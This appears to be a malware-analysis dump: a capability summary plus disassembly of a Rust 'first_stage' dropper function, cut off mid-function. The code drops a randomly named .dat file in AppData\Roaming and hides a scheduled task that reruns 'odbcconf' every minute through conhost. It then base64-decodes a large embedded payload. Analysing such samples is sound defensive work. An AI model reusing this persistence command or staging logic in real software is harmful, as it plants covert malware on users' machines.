Function at 0x1400019d5
Capabilities:
Decode data using base64 via dword translation table
Encode data using base64
Get common file path

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x328
lea rsi, [rsp + 0x40]
and qword [rsi], 0
lea rcx, [0x140620edc]
xor edx, edx
xor r8d, r8d
mov r9, rsi
call sub.SHELL32.dll_SHGetKnownFolderPath
mov rcx, qword [rsi]
test eax, eax
jne 0x140003de1
movabs rdi, 0x8000000000000000
call sub.KERNEL32.dll_lstrlenW
movsxd r8, eax
mov rdx, qword [rsp + 0x40]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call dbg.from_wide
mov rcx, qword [rsp + 0x40]
call sub.ole32.dll_CoTaskMemFree
mov rax, qword [rsi]
mov qword [rsp + 0x168], rax
cmp rax, rdi
je 0x140003de6
lea rsi, [rsp + 0x180]
mov r14, qword [rsi + 8]
mov rbx, qword [rsi + 0x10]
lea rcx, [rsp + 0x260]
mov edx, 4
mov rbp, rcx
call sym.first_stage::random_string::ha66dd07222a59950
mov eax, 0x10
mov qword [rsp + 0x20], rax
lea r9, str.AppData_Roaming_.dat
lea r15, [rsp + 0x40]
mov rcx, r15
mov rdx, r14
mov r8, rbx
call dbg._join
mov r12, qword [r15 + 8]
mov rdi, qword [r15 + 0x10]
lea r13, [rsp + 0x90]
mov qword [r13], rbp
lea rcx, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rs
mov qword [rsi], rax
mov eax, 2
mov qword [rsi + 8], rax
and qword [rsi + 0x20], 0
mov qword [r13 + 8], rcx
mov qword [rsi + 0x10], r13
mov eax, 1
mov qword [rsi + 0x18], rax
lea rbp, [rsp + 0x2f8]
mov rcx, rbp
mov rdx, rsi
call sym.alloc::fmt::format::ha7016107dd9b0da8
lea rcx, [rsp + 0x290]
mov rdx, r12
mov r8, rdi
mov r9, rbp
mov ebp, 1
call sym.std::path::Path::join::hce521bcef4003644
mov rcx, qword [r15]
mov rdx, r12
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov eax, 0x10
mov qword [rsp + 0x20], rax
lea r15, [rsp + 0x40]
mov rcx, r15
mov qword [rsp + 0x160], r14
mov rdx, r14
mov r8, rbx
lea r9, str.AppData_Roaming_.dat
call dbg._join
mov rbx, qword [r15 + 8]
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rs
mov qword [rsi], rax
mov r14, qword [r15 + 0x10]
mov eax, 2
mov qword [rsi + 8], rax
and qword [rsi + 0x20], 0
lea rax, [rsp + 0x260]
mov qword [r13], rax
lea rax, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
mov qword [r13 + 8], rax
mov qword [rsi + 0x10], r13
mov qword [rsi + 0x18], rbp
lea rsi, [rsp + 0x310]
lea rdi, [rsp + 0x180]
mov rcx, rsi
mov rdx, rdi
call sym.alloc::fmt::format::ha7016107dd9b0da8
lea r12, [rsp + 0x2c8]
mov rcx, r12
mov rdx, rbx
mov r8, r14
mov r9, rsi
call sym.std::path::Path::join::hce521bcef4003644
mov rcx, qword [r15]
mov rdx, rbx
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
and dword [rdi], 0
xorps xmm0, xmm0
movups xmmword [rdi + 8], xmm0
mov dword [rdi + 0x18], 7
and qword [rdi + 0x1c], 0
and word [rdi + 0x24], 0
mov al, 1
mov byte [rdi + 0x21], al
mov byte [rdi + 0x24], al
mov byte [rdi + 0x23], al
mov rcx, qword [r12 + 8]
mov rdx, qword [r12 + 0x10]
lea r8, [rsp + 0x180]
mov qword [rsp + 0xf8], rcx
mov qword [rsp + 0x88], rdx
call dbg.open
mov qword [rsp + 0x108], rdx
test rax, rax
jne 0x140003dfe
lea rax, [rsp + 0xa0]
lea r15, [rsp + 0x248]
and qword [r15], 0
mov qword [r15 + 8], rbp
and qword [r15 + 0x10], 0
lea rcx, [rsp + 0xd0]
movups xmm0, xmmword [rsp + 0x298]
movups xmmword [rax - 0x10], xmm0
mov qword [rcx - 0x10], r13
lea r8, [sym.__std::path::Display_as_core::fmt::Display_::fmt::h8c6ac5ca89a7b5f9]
lea rax, str.REGSVR
lea rdx, [rsp + 0x180]
mov qword [rdx], rax
mov qword [rdx + 8], rbp
and qword [rdx + 0x20], 0
mov qword [rcx - 8], r8
lea rax, [rsp + 0xc0]
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], rbp
lea r14, [rsp + 0x40]
mov rcx, r14
call sym.alloc::fmt::format::ha7016107dd9b0da8
mov rax, qword [r14]
mov qword [rsp + 0x38], rax
mov r12, qword [r14 + 8]
mov rsi, qword [r14 + 0x10]
add rsi, r12
lea rdi, [0x140625ba0]
lea rbx, [0x140626408]
mov r13, r12
cmp r13, rsi
je 0x140001d96
movzx ebp, byte [r13]
test bpl, bpl
js 0x140001cd7
inc r13
jmp 0x140001d38
mov eax, ebp
and eax, 0x1f
movzx edx, byte [r13 + 1]
and edx, 0x3f
cmp bpl, 0xdf
jbe 0x140001d20
movzx ecx, byte [r13 + 2]
shl edx, 6
and ecx, 0x3f
or ecx, edx
cmp bpl, 0xf0
jb 0x140001d2d
movzx ebp, byte [r13 + 3]
and eax, 7
shl eax, 0x12
shl ecx, 6
and ebp, 0x3f
or ebp, ecx
or ebp, eax
cmp ebp, 0x110000
je 0x140001d96
add r13, 4
jmp 0x140001d38
add r13, 2
shl eax, 6
or eax, edx
mov ebp, eax
jmp 0x140001d38
add r13, 3
shl eax, 0xc
or ecx, eax
mov ebp, ecx
cmp bp, 0x80
jb 0x140001d87
cmp bp, 0x9f
jbe 0x140001cbf
movzx eax, bp
shr eax, 8
movzx edx, bpl
mov rcx, qword [rdi + rax*8]
shl rcx, 8
or rcx, rdx
cmp rcx, 0x60ff
ja 0x140003b78
movzx ebp, word [rbx + rcx*2]
test bp, bp
je 0x140001d84
mov edx, ebp
shr edx, 8
mov rcx, r15
call sym.alloc::vec::Vec_T_A_::push::hfa54d77a136e5b5d
jmp 0x140001d87
mov bpl, 0x3f
mov rcx, r15
mov edx, ebp
call sym.alloc::vec::Vec_T_A_::push::hfa54d77a136e5b5d
jmp 0x140001cbf
mov rcx, qword [rsp + 0x38]
mov rdx, r12
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov r12, qword [rsp + 0x250]
mov r15, qword [rsp + 0x258]
lea r13, [rsp + 0x188]
lea rbp, [rsp + 0x180]
lea rsi, str.0b_
lea rdi, section..rdata
mov ebx, 0x29
test r15, r15
je 0x140001e66
mov rcx, rbp
mov rdx, qword [rsp + 0x108]
mov r8, r12
mov r9, r15
call dbg.synchronous_write
cmp qword [rsp + 0x180], 0
je case.default.0x140001e14
mov rcx, qword [rsp + 0x188]
mov eax, ecx
and eax, 3
movsxd rax, dword [rdi + rax*4]
add rax, rdi
jmp rax
cmp byte [rcx + 0x10], 0x23
je 0x140001e59
jmp 0x140001e6d
mov rcx, qword [rsp + 0x188]
test rcx, rcx
je 0x140001e6a
mov rax, r15
sub rax, rcx
jb 0x140003dcd
add r12, rcx
mov r15, rax
jmp 0x140001dd6
mov rcx, r13
call sym.core::ptr::drop_in_place_std::io::error::Error_::hecc97c7777dc258b
jmp 0x140001dd6
xor ecx, ecx
jmp 0x140001e6d
mov rcx, rsi
lea rdx, [0x14004da00]
call sym.core::result::Result_T_E_::expect::hdb88796fd2f658e4
mov edx, 5
mov rcx, r14
call sym.first_stage::random_string::ha66dd07222a59950
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rs
lea r15, [rsp + 0x180]
mov qword [r15], rax
mov esi, 2
mov qword [r15 + 8], rsi
and qword [r15 + 0x20], 0
mov qword [rsp + 0xc0], r14
lea rdi, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
mov qword [rsp + 0xc8], rdi
lea rax, [rsp + 0xc0]
mov qword [r15 + 0x10], rax
mov qword [r15 + 0x18], 1
lea r12, [rsp + 0x90]
mov rcx, r12
mov rdx, r15
call sym.alloc::fmt::format::ha7016107dd9b0da8
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
movups xmm0, xmmword [r12]
lea rax, [rsp + 0x2b0]
movaps xmmword [rax], xmm0
mov rcx, qword [r12 + 0x10]
mov qword [rax + 0x10], rcx
mov rcx, qword [rsp + 0xf8]
mov qword [r12], rcx
mov rcx, qword [rsp + 0x88]
mov qword [r12 + 8], rcx
mov qword [rsp + 0x40], r12
lea rcx, [sym.__std::path::Display_as_core::fmt::Display_::fmt::h8c6ac5ca89a7b5f9]
mov qword [rsp + 0x48], rcx
lea rcx, str.Register_ScheduledTask__Action__New_ScheduledTaskAction__Execute__conhost___Argument__odbcconf__S__F_____Trigger__New_ScheduledTaskTrigger__Once__At__Get_Date_.AddMinutes_1___RepetitionInterval__New_TimeSpan__Minutes_1____TaskName___Description_Default__Settings__New_ScheduledTaskSettingsSet__AllowStartIfOnBatteries__DontStopIfGoingOnBatteries_
mov qword [r15], rcx
mov qword [r15 + 8], 3
and qword [r15 + 0x20], 0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdi
mov qword [r15 + 0x10], r14
mov qword [r15 + 0x18], rsi
lea rcx, [rsp + 0x278]
lea rdx, [rsp + 0x180]
call sym.alloc::fmt::format::ha7016107dd9b0da8
mov al, byte [0x140638120]
mov esi, 0xb
mov ecx, 0xb
mov edx, 1
call sym.__rust_alloc
test rax, rax
movabs rbp, 0x8000000000000000
je 0x140003e35
movabs rcx, 0x2e74736f686e6f63
mov qword [rax], rcx
mov dword [rax + 7], 0x6578652e
lea rbx, [rsp + 0x180]
mov qword [rbx], rsi
mov qword [rbx + 8], rax
mov qword [rbx + 0x10], rsi
mov byte [rbx + 0x18], 0
and qword [rbx + 0x20], 0
mov qword [rbx + 0x28], 8
and qword [rbx + 0x30], 0
and qword [rbx + 0x88], 0
and qword [rbx + 0x98], 0
and word [rbx + 0xa0], 0
mov qword [rbx + 0x38], rbp
and dword [rbx + 0xc0], 0
and word [rbx + 0xc4], 0
mov eax, 6
mov dword [rbx + 0x58], eax
mov dword [rbx + 0x68], eax
mov dword [rbx + 0x78], eax
and qword [rbx + 0xa8], 0
and qword [rbx + 0xb8], 0
lea rdx, [0x14004dbe3]
mov r8d, 0xa
mov rcx, rbx
call dbg.arg
lea rdx, [0x14004dbed]
mov r8d, 0xe
mov rcx, rbx
call dbg.arg
mov rdi, qword [rsp + 0x280]
mov r8, qword [rsp + 0x288]
mov rcx, rbx
mov rdx, rdi
call dbg.arg
mov rcx, qword [rsp + 0x278]
mov rdx, rdi
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov dword [rbx + 0xc0], 0x8000000
lea rdi, [rsp + 0x90]
mov dword [rdi], 3
lea r14, [rsp + 0x40]
mov rcx, r14
mov rdx, rbx
mov r8, rdi
call dbg.spawn
mov r12, qword [r14]
mov rax, qword [r14 + 0x10]
cmp rax, 2
je 0x140003e4c
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x38], rcx
mov r15, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov r14, qword [rsp + 0x78]
test rax, rax
je 0x1400020e5
mov rcx, qword [rsp + 0x58]
call fcn.140047744
and qword [rsp + 0x110], 0
mov eax, 1
mov qword [rsp + 0x118], rax
and qword [rsp + 0x120], 0
and qword [rsp + 0x128], 0
mov qword [rsp + 0x130], rax
and qword [rsp + 0x138], 0
test r15, r15
je 0x1400021ab
test rsi, rsi
je 0x1400021e2
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x110]
mov rdx, rbx
call sym.std::sys::windows::pipe::AsyncPipe::new::hef42f2e7d6addcf8
mov rax, qword [rsp + 0x40]
cmp rax, 3
je 0x140003eac
lea rcx, [rsp + 0x40]
mov rdx, qword [rcx + 8]
movups xmm0, xmmword [rcx + 0x20]
lea r8, [rsp + 0xd0]
movups xmmword [r8 + 0x10], xmm0
movups xmm0, xmmword [rcx + 0x10]
movups xmmword [r8], xmm0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], rdx
lea r8, [rsp + 0x128]
mov rdx, r14
call sym.std::sys::windows::pipe::AsyncPipe::new::hef42f2e7d6addcf8
mov rax, qword [rsp + 0x40]
cmp rax, 3
jne 0x140002218
mov rbx, qword [rsp + 0x48]
jmp 0x1400024cb
test rsi, rsi
je 0x1400024e1
lea rdx, [rsp + 0xc0]
mov qword [rdx], r14
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x128]
call dbg.read_to_end
cmp qword [rsp + 0x40], 0
jne 0x140003ef8
mov rcx, r14
jmp 0x14000220e
lea rdx, [rsp + 0xc0]
mov qword [rdx], rbx
lea rcx, [rsp + 0x40]
lea r8, [rsp + 0x110]
call dbg.read_to_end
cmp qword [rsp + 0x40], 0
jne 0x140003f2e
mov rcx, rbx
call fcn.140047744
jmp 0x1400024e1
lea rbx, [rsp + 0x40]
mov rcx, qword [rbx + 8]
movups xmm0, xmmword [rbx + 0x20]
lea rdx, [rsp + 0xa0]
movups xmmword [rdx + 0x10], xmm0
movups xmm0, xmmword [rbx + 0x10]
movups xmmword [rdx], xmm0
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rcx
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0xb8]
lea r14, [rsp + 0x2e8]
mov qword [r14], rax
mov qword [r14 + 8], rcx
lea r13, [rsp + 0x34]
mov ecx, 2
mov rdx, r14
xor r8d, r8d
mov r9d, 0xffffffff
call sub.KERNEL32.dll_WaitForMultipleObjects
cmp eax, 1
je 0x1400022dd
test eax, eax
jne 0x1400023bd
mov rax, qword [rsp + 0xc0]
test rax, rax
je 0x140002392
cmp eax, 1
jne 0x14000236c
mov rdx, qword [rsp + 0xd0]
mov rcx, qword [rsp + 0xe0]
and dword [rsp + 0x34], 0
mov r8, r13
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x1400023d1
mov eax, dword [rsp + 0x34]
jmp 0x140002374
mov rax, qword [rsp + 0x90]
test rax, rax
je 0x140002346
cmp eax, 1
jne 0x140002320
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0xb0]
and dword [rsp + 0x34], 0
mov r8, r13
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x140002409
mov eax, dword [rsp + 0x34]
jmp 0x140002328
mov rax, qword [rsp + 0x98]
and qword [rsp + 0x90], 0
mov rcx, qword [rsp + 0xa8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x14000243f
mov rcx, rbx
mov rdx, rdi
call dbg.schedule_read
cmp byte [rsp + 0x40], 0
jne 0x1400024b9
cmp byte [rsp + 0x41], 0
jne 0x14000226c
jmp 0x14000243f
mov rax, qword [rsp + 0xc8]
and qword [rsp + 0xc0], 0
mov rcx, qword [rsp + 0xd8]
add qword [rcx + 0x10], rax
test rax, rax
je 0x140002447
mov rcx, rbx
lea rdx, [rsp + 0xc0]
call dbg.schedule_read
cmp byte [rsp + 0x40], 0
jne 0x1400024b9
cmp byte [rsp + 0x41], 0
jne 0x14000226c
jmp 0x140002447
call sub.KERNEL32.dll_GetLastError
mov ebx, eax
shl rbx, 0x20
or rbx, 2
jmp 0x1400024be
call sub.KERNEL32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x40], rbx
cmp eax, 0x6d
je 0x1400023f4
cmp eax, 0x26
jne 0x1400024be
lea rcx, [rsp + 0x40]
call dbg.drop_in_place<std::io::error::Error>
and qword [rsp + 0xc0], 0
jmp 0x140002447
call sub.KERNEL32.dll_GetLastError
mov rbx, rax
shl rbx, 0x20
or rbx, 2
mov qword [rsp + 0x40], rbx
cmp eax, 0x6d
je 0x14000242c
cmp eax, 0x26
jne 0x1400024be
lea rcx, [rsp + 0x40]
call dbg.drop_in_place<std::io::error::Error>
and qword [rsp + 0x90], 0
lea rdi, [rsp + 0xc0]
lea rsi, [rsp + 0x40]
xor ebx, ebx
lea r14, [rsp + 0x34]
mov rax, qword [rdi]
test rax, rax
je 0x14000249e
cmp eax, 1
jne 0x140002489
mov rdx, qword [rdi + 0x10]
and dword [rsp + 0x34], 0
mov rcx, qword [rdi + 0x20]
mov r8, r14
mov r9d, 1
call sub.KERNEL32.dll_GetOverlappedResult
test eax, eax
je 0x140003b09
mov eax, dword [rsp + 0x34]
jmp 0x14000248d
mov rax, qword [rdi + 8]
and qword [rdi], 0
mov rcx, qword [rdi + 0x18]
add qword [rcx + 0x10], rax
test rax, rax
je 0x1400024be
mov rcx, rsi
mov rdx, rdi
call dbg.schedule_read
cmp byte [rsp + 0x40], 0
jne 0x1400024b9
cmp byte [rsp + 0x41], 0
jne 0x140002453
jmp 0x1400024be
mov rbx, qword [rsp + 0x48]
lea rcx, [rsp + 0x90]
call dbg.drop_in_place<std::sys::windows::pipe::AsyncPipe>
lea rcx, [rsp + 0xc0]
call dbg.drop_in_place<std::sys::windows::pipe::AsyncPipe>
test rbx, rbx
jne 0x140003eb9
mov rcx, r12
mov edx, 0xffffffff
call sub.KERNEL32.dll_WaitForSingleObject
test eax, eax
je 0x140002545
call sub.KERNEL32.dll_GetLastError
mov esi, eax
mov rbx, qword [rsp + 0x38]
shl rsi, 0x20
cmp qword [rsp + 0x128], 0
je 0x14000251f
mov rcx, qword [rsp + 0x130]
mov edx, 1
call sym.__rust_dealloc
or rsi, 2
cmp qword [rsp + 0x110], 0
je 0x140002540
mov rcx, qword [rsp + 0x118]
mov edx, 1
call sym.__rust_dealloc
mov rdi, rbp
jmp 0x140002595
lea rdx, [rsp + 0x90]
and dword [rdx], 0
mov rcx, r12
call sub.KERNEL32.dll_GetExitCodeProcess
test eax, eax
mov rbx, qword [rsp + 0x38]
je 0x140003a53
mov rdi, qword [rsp + 0x110]
mov rsi, qword [rsp + 0x118]
mov rax, qword [rsp + 0x128]
mov qword [rsp + 0x150], rax
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x140], rsi
mov rcx, r12
call fcn.140047744
mov rcx, rbx
call fcn.140047744
mov qword [rsp + 0x158], rdi
cmp rdi, rbp
je 0x140003e44
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x188]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov rsi, qword [rsp + 0x1a8]
mov rdi, qword [rsp + 0x1b0]
lea rbx, [rsi + 0x10]
sub rdi, 1
jb 0x1400025ff
mov rcx, qword [rbx - 8]
mov rdx, qword [rbx]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
add rbx, 0x28
jmp 0x1400025e7
mov rax, qword [rsp + 0x1a0]
test rax, rax
je 0x14000261d
imul r8, rax, 0x28
mov edx, 8
mov rcx, rsi
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::h2fc0c0c37e4bf0c9
mov rax, qword [rsp + 0x208]
test rax, rax
je 0x140002661
mov rdx, qword [rsp + 0x210]
and qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
and qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x218]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
mov eax, 1
jmp 0x140002665
xor eax, eax
xor ecx, ecx
lea rsi, [rsp + 0x48]
mov qword [rsi - 8], rax
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x38], rcx
lea r13, [rsp + 0x98]
xor ebx, ebx
lea rdi, [rsp + 0x90]
test rcx, rcx
je 0x1400027e2
dec rcx
mov qword [rsp + 0x80], rcx
test rbx, rbx
jne 0x1400026bf
test rax, rax
je 0x1400026bf
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rcx, rsi
call fcn.1400017f8
mov rbx, qword [rsp + 0x48]
jmp 0x1400026c8
test rax, rax
je 0x140003bad
mov r8, qword [rsp + 0x50]
mov r15, qword [rsp + 0x58]
mov r14, rbx
movzx eax, word [r14 + 0x3d2]
cmp r15, rax
jb 0x140002710
mov rcx, rdi
mov rdx, r14
call sym._ZN5alloc11collections5btree4node127NodeRef_LT_alloc..collections..btree..node..marker..Dying_C_K_C_V_C_alloc..collections..bt
mov r14, qword [rsp + 0x90]
test r14, r14
je 0x140003b89
mov r8, qword [rsp + 0x98]
mov r15, qword [rsp + 0xa0]
jmp 0x1400026d5
test r8, r8
je 0x140002747
mov rdx, qword [r14 + r15*8 + 0x3e0]
dec r8
mov rcx, rdi
call fcn.1400017f8
mov rbx, qword [rsp + 0x90]
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0xc0], xmm0
test rbx, rbx
jne 0x14000276c
jmp 0x140003b89
lea rax, [r15 + 1]
and qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0xc0], xmm0
mov rbx, r14
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi + 8], xmm0
mov qword [rsp + 0x48], rbx
imul r12, r15, 0x38
mov rcx, qword [r14 + r12 + 0x168]
mov rdx, qword [r14 + r12 + 0x170]
call sym.core::ptr::drop_in_place_alloc::vec::Vec_u8__::h35220df550c20ea0
mov r8, qword [r14 + r12 + 0x188]
test r8, r8
je 0x1400027be
lea rax, [r14 + r12]
add rax, 0x168
add r8, r8
mov rcx, qword [rax + 0x28]
mov edx, 2
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::h2fc0c0c37e4bf0c9
shl r15, 5
mov rcx, qword [r14 + r15]
mov rdx, qword [r14 + r15 + 8]
call sym.core::ptr::drop_in_place_core::option::Option_std::ffi::os_str::OsString__::h045e591b9573221c
mov eax, 1
mov rcx, qword [rsp + 0x80]
jmp 0x140002688
test rax, rax
je 0x140002860
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test rbx, rbx
je 0x140002810
mov qword [rsp + 0xc0], rbx
mov qword [rsp + 0xc8], r8
mov qword [rsp + 0xd0], rax
jmp 0x140002836
lea rdi, [rsp + 0xc0]
mov rcx, rdi
mov rdx, r8
mov r8, rax
call fcn.1400017f8
mov rbx, qword [rdi]
test rbx, rbx
je 0x140002860
mov r8, qword [rsp + 0xc8]
lea rdi, [rsp + 0x90]
mov rcx, rdi
mov rdx, rbx
call sym._ZN5alloc11collections5btree4node127NodeRef_LT_alloc..collections..btree..node..marker..Dying_C_K_C_V_C_alloc..collections..bt
mov rbx, qword [rsp + 0x90]
test rbx, rbx
je 0x140002860
mov r8, qword [rsp + 0x98]
jmp 0x14000283e
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
call sym.core::ptr::drop_in_place_core::option::Option_std::ffi::os_str::OsString__::h045e591b9573221c
mov ecx, dword [rsp + 0x1d8]
mov rdx, qword [rsp + 0x1e0]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::windows::process::Stdio__::hb7009eea435ddbe1
mov ecx, dword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x1f0]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::windows::process::Stdio__::hb7009eea435ddbe1
mov ecx, dword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x200]
call sym.core::ptr::drop_in_place_core::option::Option_std::sys::windows::process::Stdio__::hb7009eea435ddbe1
mov rax, qword [rsp + 0x228]
test rax, rax
je 0x1400028f5
mov rdx, qword [rsp + 0x230]
and qword [rsp + 0x48], 0
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rdx
and qword [rsp + 0x68], 0
mov rcx, qword [rsp + 0x238]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rdx
mov eax, 1
jmp 0x1400028f9
xor eax, eax
xor ecx, ecx
lea rdi, [rsp + 0x48]
mov qword [rdi - 8], rax
mov qword [rdi + 0x18], rax
mov qword [rdi + 0x38], rcx
xor r14d, r14d
lea rbx, [rsp + 0x90]
test rcx, rcx
je 0x140002a46
dec rcx
mov qword [rsp + 0x80], rcx
test r14, r14
jne 0x14000294c
test rax, rax
je 0x14000294c
mov rdx, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rcx, rdi
call sym._ZN5alloc11collections5btree8navigate142__LT_impl_u20_alloc..collections..btree..node..NodeRef_LT_BorrowType_C_K_C_V_C_alloc..
mov r14, qword [rsp + 0x48]
jmp 0x140002955
test rax, rax
je 0x140003bad
mov r8, qword [rsp + 0x50]
mov r12, qword [rsp + 0x58]
mov r15, r14
movzx eax, word [r15 + 0x16a]
cmp r12, rax
jb 0x14000299d
mov rcx, rbx
mov rdx, r15
call fcn.140001736
mov r15, qword [rsp + 0x90]
test r15, r15
je 0x140003b89
mov r8, qword [rsp + 0x98]
mov r12, qword [rsp + 0xa0]
jmp 0x140002962
test r8, r8
je 0x1400029d4
mov rdx, qword [r15 + r12*8 + 0x178]
dec r8
mov rcx, rbx
call sym._ZN5alloc11collections5btree8navigate142__LT_impl_u20_alloc..collections..btree..node..NodeRef_LT_BorrowType_C_K_C_V_C_alloc..
mov r14, qword [rsp + 0x90]
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0xc0], xmm0
test r14, r14
jne 0x1400029fa
jmp 0x140003b89
lea rax, [r12 + 1]
and qword [rsp + 0x98], 0
mov qword [rsp + 0xa0], rax
movups xmm0, xmmword [r13]
movaps xmmword [rsp + 0xc0], xmm0
mov r14, r15
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rsi + 8], xmm0
mov qword [rsp + 0x48], r14
imul rax, r12, 0x18
mov r12, qword [r15 + rax + 0x60]
mov r15, qword [r15 + rax + 0x68]
mov rcx, r12
call qword [r15]
mov r8, qword [r15 + 8]
test r8, r8
je 0x140002a34
mov rdx, qword [r15 + 0x10]
mov rcx, r12
call sym.__alloc::alloc::Global_as_core::alloc::Allocator_::deallocate::h2fc0c0c37e4bf0c9
mov eax, 1
mov rcx, qword [rsp + 0x80]
jmp 0x140002915
test rax, rax
je 0x140002ac4
mov r8, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
test r14, r14
je 0x140002a74
mov qword [rsp + 0xc0], r14
mov qword [rsp + 0xc8], r8
mov qword [rsp + 0xd0], rax
jmp 0x140002a9a
lea rsi, [rsp + 0xc0]
mov rcx, rsi
mov rdx, r8
mov r8, rax
call sym._ZN5alloc11collections5btree8navigate142__LT_impl_u20_alloc..collections..btree..node..NodeRef_LT_BorrowType_C_K_C_V_C_alloc..
mov r14, qword [rsi]
test r14, r14
je 0x140002ac4
mov r8, qword [rsp + 0xc8]
lea rsi, [rsp + 0x90]
mov rcx, rsi
mov rdx, r14
call fcn.140001736
mov r14, qword [rsp + 0x90]
test r14, r14
je 0x140002ac4
mov r8, qword [rsp + 0x98]
jmp 0x140002aa2
mov ecx, 0x45d7e2
call sym.alloc::raw_vec::RawVec_T_A_::allocate_in::h9e68c0c7e4bcfd15
lea rsi, [rsp + 0x180]
mov qword [rsi], rax
mov qword [rsi + 8], rdx
and qword [rsi + 0x10], 0
mov edx, 0x45d7e2
mov rcx, rsi
call sym.alloc::vec::Vec_T_A_::reserve::h3a5c8d7db3c080ac
mov rcx, qword [rsi + 8]
mov rdx, qword [rsi + 0x10]
lea rax, [rcx + rdx]
xor r8d, r8d
mov byte [rax + r8], 0
cmp r8, 0x45d7e1
je 0x140002b11
inc r8
jmp 0x140002afe
add rdx, 0x45d7e2
mov qword [rsp + 0x190], rdx
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
xor edi, edi
xor r8d, r8d
call sym._ZN4core5slice5index77__LT_impl_u20_core..ops..index..IndexMut_LT_I_GT__u20_for_u20__u5b_T_u5d__GT_9index_mut17h1e8090da1a50e4
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x88], rdx
lea rbp, [0x14004d45e]
xor esi, esi
cmp rdi, 0x5d1fb1
jae 0x1400032e6
lea rbx, [rdi + 0x20]
mov qword [rsp + 0x28], rdi
mov rcx, rdi
mov rdx, rbx
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
call sym.core::slice::index::__impl_core::ops::index::Index_I__for__T__::index::hb9d00f84d89ab147
mov r14, rax
mov r13, rdx
lea rdi, [rsi + 0x1a]
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_base64_0.13.1_srcdecode.rs
mov qword [rsp + 0x20], rax
mov rcx, rsi
mov rdx, rdi
mov r8, qword [rsp + 0x100]
mov r9, qword [rsp + 0x88]
call sym._ZN106__LT_core..ops..range..Range_LT_usize_GT__u20_as_u20_core..slice..index..SliceIndex_LT__u5b_T_u5d__GT__GT_9index_mut17h9
mov r15, rax
mov r12, rdx
